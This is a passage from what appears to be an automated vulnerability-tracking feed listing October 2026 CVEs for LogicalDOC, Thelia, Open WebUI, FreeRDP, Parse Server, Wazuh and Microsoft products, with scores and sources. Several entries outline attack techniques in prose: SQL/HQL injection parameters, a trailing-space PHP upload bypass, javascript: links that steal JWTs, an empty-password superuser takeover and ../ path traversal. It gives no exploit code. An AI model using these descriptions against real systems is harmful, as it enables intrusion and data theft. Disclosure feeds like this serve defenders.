EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109169&date=2026-10-25).
Sources:
NVD CVE-2026-109169: https://nvd.nist.gov/vuln/detail/CVE-2026-109169
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109169&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of TagsDataServlet. Low-privileged attackers can inject UNION SELECT statements returned in the XML tag list to read usernames, email addresses and password hashes from ld_user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated...
https://kevwire.com/record/CVE-2026-109170
LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated indexed parameter. Attackers with read access to any folder can inject boolean HQL expressions to bypass folder scope and read-permission checks, listing restricted document metadata and extracting database contents.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109170).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109170&date=2026-10-25).
Sources:
NVD CVE-2026-109170: https://nvd.nist.gov/vuln/detail/CVE-2026-109170
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109170&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated indexed parameter. Attackers with read access to any folder can inject boolean HQL expressions to bypass folder scope and read-permission checks, listing restricted document metadata and extracting database contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify...
https://kevwire.com/record/CVE-2026-109201
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify unauthorized documents. Attackers can call copy, getExtractedText, deleteVersion, reindex, deleteLink, or restore via SOAP or /services/rest/document with sequential document IDs to disclose, delete, or tamper with documents.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109201).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109201&date=2026-10-25).
Sources:
NVD CVE-2026-109201: https://nvd.nist.gov/vuln/detail/CVE-2026-109201
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109201&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify unauthorized documents. Attackers can call copy, getExtractedText, deleteVersion, reindex, deleteLink, or restore via SOAP or /services/rest/document with sequential document IDs to disclose, delete, or tamper with documents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by...
https://kevwire.com/record/CVE-2026-109202
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by supplying a folderId parameter. Attackers can request /zip-export with a restricted folder ID, since ZipExport.addFolderDocuments() skips READ and DOWNLOAD permission checks, to download all of its documents in a ZIP archive.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109202).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109202&date=2026-10-25).
Sources:
NVD CVE-2026-109202: https://nvd.nist.gov/vuln/detail/CVE-2026-109202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109202&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by supplying a folderId parameter. Attackers can request /zip-export with a restricted folder ID, since ZipExport.addFolderDocuments() skips READ and DOWNLOAD permission checks, to download all of its documents in a ZIP archive.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF...
https://kevwire.com/record/CVE-2026-109203
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF documents. Attackers can enumerate sequential docId values and use the version parameter to retrieve any PDF and its versions from folders they cannot access.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109203).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109203&date=2026-10-25).
Sources:
NVD CVE-2026-109203: https://nvd.nist.gov/vuln/detail/CVE-2026-109203
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109203&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF documents. Attackers can enumerate sequential docId values and use the version parameter to retrieve any PDF and its versions from folders they cannot access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a...
https://kevwire.com/record/CVE-2026-109397
Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a... (Oct 12, 2026).
Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a trailing space to filenames. FileProcessorService validates the raw filename but FileManager::sanitizeFileName() strips the space, storing an executable .php file under public/cache/documents/ for code execution as the web server user.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109397).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109397&date=2026-10-25).
Sources:
NVD CVE-2026-109397: https://nvd.nist.gov/vuln/detail/CVE-2026-109397
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109397&date=2026-10-25
Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a trailing space to filenames. FileProcessorService validates the raw filename but FileManager::sanitizeFileName() strips the space, storing an executable .php file under public/cache/documents/ for code execution as the web server user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating...
https://kevwire.com/record/CVE-2026-109288
Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating... (Oct 12, 2026).
Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating their scheme. Authenticated users can embed javascript: links in shared chats that, when clicked by a victim, steal the victim's JWT from local storage, including admins' tokens.
CVSS 7.2 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109288).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109288&date=2026-10-25).
Sources:
NVD CVE-2026-109288: https://nvd.nist.gov/vuln/detail/CVE-2026-109288
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109288&date=2026-10-25
Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating their scheme. Authenticated users can embed javascript: links in shared chats that, when clicked by a victim, steal the victim's JWT from local storage, including admins' tokens.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source...
https://kevwire.com/record/CVE-2026-109293
Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source... (Oct 12, 2026).
Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source code shared with them read-only. Attackers can request GET /api/v1/tools/export to retrieve the full Python source of read-only shared tools, exposing embedded API keys and credentials.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109293).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109293&date=2026-10-25).
Sources:
NVD CVE-2026-109293: https://nvd.nist.gov/vuln/detail/CVE-2026-109293
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109293&date=2026-10-25
Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source code shared with them read-only. Attackers can request GET /api/v1/tools/export to retrieve the full Python source of read-only shared tools, exposing embedded API keys and credentials.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API...
https://kevwire.com/record/CVE-2026-109572
Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API... (Oct 12, 2026).
Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API with the shared key attached. Attackers can send requests through /api/v1/terminals/{server_id}/{path} to list or stop other users' terminals and modify terminal policies, injecting environment variables into other users' terminals.
CVSS 7.2 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109572).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109572&date=2026-10-25).
Sources:
NVD CVE-2026-109572: https://nvd.nist.gov/vuln/detail/CVE-2026-109572
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109572&date=2026-10-25
Open WebUI from 0.8.6 before 0.11.4 contains a privilege escalation vulnerability in the terminal proxy that allows authenticated users to reach the Terminals administrator API with the shared key attached. Attackers can send requests through /api/v1/terminals/{server_id}/{path} to list or stop other users' terminals and modify terminal policies, injecting environment variables into other users' terminals.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped.
https://kevwire.com/record/CVE-2026-109677
FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped. (Oct 13, 2026).
FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped. Malicious RDP servers can send crafted ATR mask arrays to use query timing as an oracle, leaking heap memory bit-by-bit to defeat ASLR and aid RCE exploits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109677).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109677&date=2026-10-25).
Sources:
NVD CVE-2026-109677: https://nvd.nist.gov/vuln/detail/CVE-2026-109677
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109677&date=2026-10-25
FreeRDP from 2.0.0-beta1 before 3.28.0 contains an out-of-bounds read vulnerability in smartcard_LocateCardsByATRA_Call because the ATR pattern cbAtr byte count is not capped. Malicious RDP servers can send crafted ATR mask arrays to use query timing as an oracle, leaking heap memory bit-by-bit to defeat ASLR and aid RCE exploits.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when...
https://kevwire.com/record/CVE-2026-109939
FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when... (Oct 13, 2026).
FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when the CBR3_DO_NOT_CACHE flag is set, even though the cache is not yet initialized before Demand Active. A malicious or compromised RDP server can send a Cache Bitmap V3 order during connection setup to crash a connecting client that has enabled the non-default Bitmap Cache V3 feature (/cache:codec:<rfx|nsc|jpeg>).
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109939).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109939&date=2026-10-25).
Sources:
NVD CVE-2026-109939: https://nvd.nist.gov/vuln/detail/CVE-2026-109939
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109939&date=2026-10-25
FreeRDP 3.27.1 before 3.32.0 contains a NULL pointer dereference in update_read_cache_bitmap_v3_order() in libfreerdp/core/orders.c, which accesses the client bitmap cache when the CBR3_DO_NOT_CACHE flag is set, even though the cache is not yet initialized before Demand Active. A malicious or compromised RDP server can send a Cache Bitmap V3 order during connection setup to crash a connecting client that has enabled the non-default Bitmap Cache V3 feature (/cache:codec:<rfx|nsc|jpeg>).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the...
https://kevwire.com/record/CVE-2026-109944
FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the... (Oct 13, 2026).
FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the deleted parent context and reaches a terminating WINPR_ASSERT. A malicious RDP server can crash a connecting client with smartcard emulation and redirection enabled by releasing a context, establishing another, and issuing SCardTransmit with the stale card handle.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109944).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109944&date=2026-10-25).
Sources:
NVD CVE-2026-109944: https://nvd.nist.gov/vuln/detail/CVE-2026-109944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109944&date=2026-10-25
FreeRDP 3.0.0 before 3.32.0 does not remove card handles when Emulate_SCardReleaseContext releases a smartcard-emulation context, so Emulate_SCardTransmit later looks up the deleted parent context and reaches a terminating WINPR_ASSERT. A malicious RDP server can crash a connecting client with smartcard emulation and redirection enabled by releasing a context, establishing another, and issuing SCardTransmit with the stale card handle.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request...
https://kevwire.com/record/CVE-2026-109954
Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request... (Oct 13, 2026).
Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request interfere with other clients' database writes. On PostgreSQL or MongoDB replica sets and sharded clusters, other clients' acknowledged writes are rolled back if the batch fails, and PostgreSQL transactions can remain open indefinitely, causing subsequent writes to fail.
CVSS 8.3 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109954).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109954&date=2026-10-25).
Sources:
NVD CVE-2026-109954: https://nvd.nist.gov/vuln/detail/CVE-2026-109954
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109954&date=2026-10-25
Parse Server 5.4.0 before 8.6.96 and 9.0.0 before 9.10.2-alpha.5 shares transactional batch state across concurrent requests, letting any client's transactional batch request interfere with other clients' database writes. On PostgreSQL or MongoDB replica sets and sharded clusters, other clients' acknowledged writes are rolled back if the batch fails, and PostgreSQL transactions can remain open indefinitely, causing subsequent writes to fail.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy...
https://kevwire.com/record/CVE-2026-74035
Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy... (Oct 13, 2026).
Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy truthiness check. A delegated user administrator can send an empty password to the user update endpoint, bypassing the reserved user guard to take over the wazuh superuser account and authenticate with empty credentials.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74035).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74035&date=2026-10-25).
Sources:
NVD CVE-2026-74035: https://nvd.nist.gov/vuln/detail/CVE-2026-74035
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74035&date=2026-10-25
Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy truthiness check. A delegated user administrator can send an empty password to the user update endpoint, bypassing the reserved user guard to take over the wazuh superuser account and authenticate with empty credentials.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to...
https://kevwire.com/record/CVE-2026-74043
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to... (Oct 13, 2026).
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to write files at arbitrary paths. Attackers holding the cluster key can send DistributedAPI requests with ../ sequences in filename, bypassing REST controller validation, to write files as the wazuh user.
CVSS 8.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74043).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74043&date=2026-10-25).
Sources:
NVD CVE-2026-74043: https://nvd.nist.gov/vuln/detail/CVE-2026-74043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74043&date=2026-10-25
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in upload_list_file, upload_rule_file, and upload_decoder_file that allows malicious cluster workers to write files at arbitrary paths. Attackers holding the cluster key can send DistributedAPI requests with ../ sequences in filename, bypassing REST controller validation, to write files as the wazuh user.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96866
Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96866).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96866&date=2026-10-25).
Sources:
NVD CVE-2026-96866: https://nvd.nist.gov/vuln/detail/CVE-2026-96866
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96866&date=2026-10-25
Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96861
Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96861).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96861&date=2026-10-25).
Sources:
NVD CVE-2026-96861: https://nvd.nist.gov/vuln/detail/CVE-2026-96861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96861&date=2026-10-25
Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96236
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96236).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96236&date=2026-10-25).
Sources:
NVD CVE-2026-96236: https://nvd.nist.gov/vuln/detail/CVE-2026-96236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96236&date=2026-10-25
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96202
Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96202).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96202&date=2026-10-25).
Sources:
NVD CVE-2026-96202: https://nvd.nist.gov/vuln/detail/CVE-2026-96202
